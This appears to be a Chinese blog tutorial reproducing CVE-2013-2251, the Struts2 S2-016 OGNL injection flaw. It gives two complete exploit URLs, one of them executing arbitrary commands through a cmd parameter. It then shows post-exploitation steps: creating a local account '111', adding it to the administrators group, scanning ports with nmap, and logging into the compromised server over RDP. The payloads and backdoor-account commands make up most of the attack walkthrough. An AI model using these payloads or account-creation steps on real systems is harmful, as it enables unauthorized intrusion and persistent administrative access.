Struts2-016命令执行漏洞

Struts2-016命令执行漏洞

一:前言

CVE-2013-2251 漏洞概述:

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

二:漏洞复现

★注:一般struts2漏洞有一个明显的特征就是url路径里有*.action或*.do
在这里插入图片描述

2.1:手工利用

2.1.1:POC验证

poc1:如果存在漏洞则目标服务器会在请求发出后停顿5秒后,把数据返回给浏览器

http://xxx.com/test.action?%28%27\43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27\43context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\75false%27%29%28b%29%29&%28%27\43c%27%29%28%28%27\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28d%29%28%28%27@java.lang.Thread@sleep%285000%29%27%29%28d%29%29

poc2:如果存在该漏洞,则会把命令ipconfig的执行结果返回

http://xxx.com/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[200]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig

2.1.2:验证结果

poc1:在经过5秒后返回请求结果

在这里插入图片描述

poc2:显示IP信息

在这里插入图片描述

2.2:工具利用

工具使用很简单,直接先检测验证漏洞是否存在,然后执行命令或者文件上传

在这里插入图片描述

3:漏洞利用

3.1:命令执行

  • whoami:查看当前用户
  • ipconfig/ifconfig:查看IP地址方便进行下一步的利用
  • net user 111 111/add:添加用户(这里添加了一个密码为111用户名为111的用户
  • net localgroup administrators 111/add:将111用户添加到administrator用户组里

3.2:nmap扫描查看开放端口

可以看到开放了3389远程连接端口,目标系统为Windows Server 2003 3790 Service Pack 2

在这里插入图片描述

3.3:远程连接

用添加的111用户远程连接

在这里插入图片描述

  • win+R ,输入mstsc ,设置连接地址,在登陆界面输入新建用户名及密码,进行连接
  • 连接成功,登陆入侵该服务器

在这里插入图片描述

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值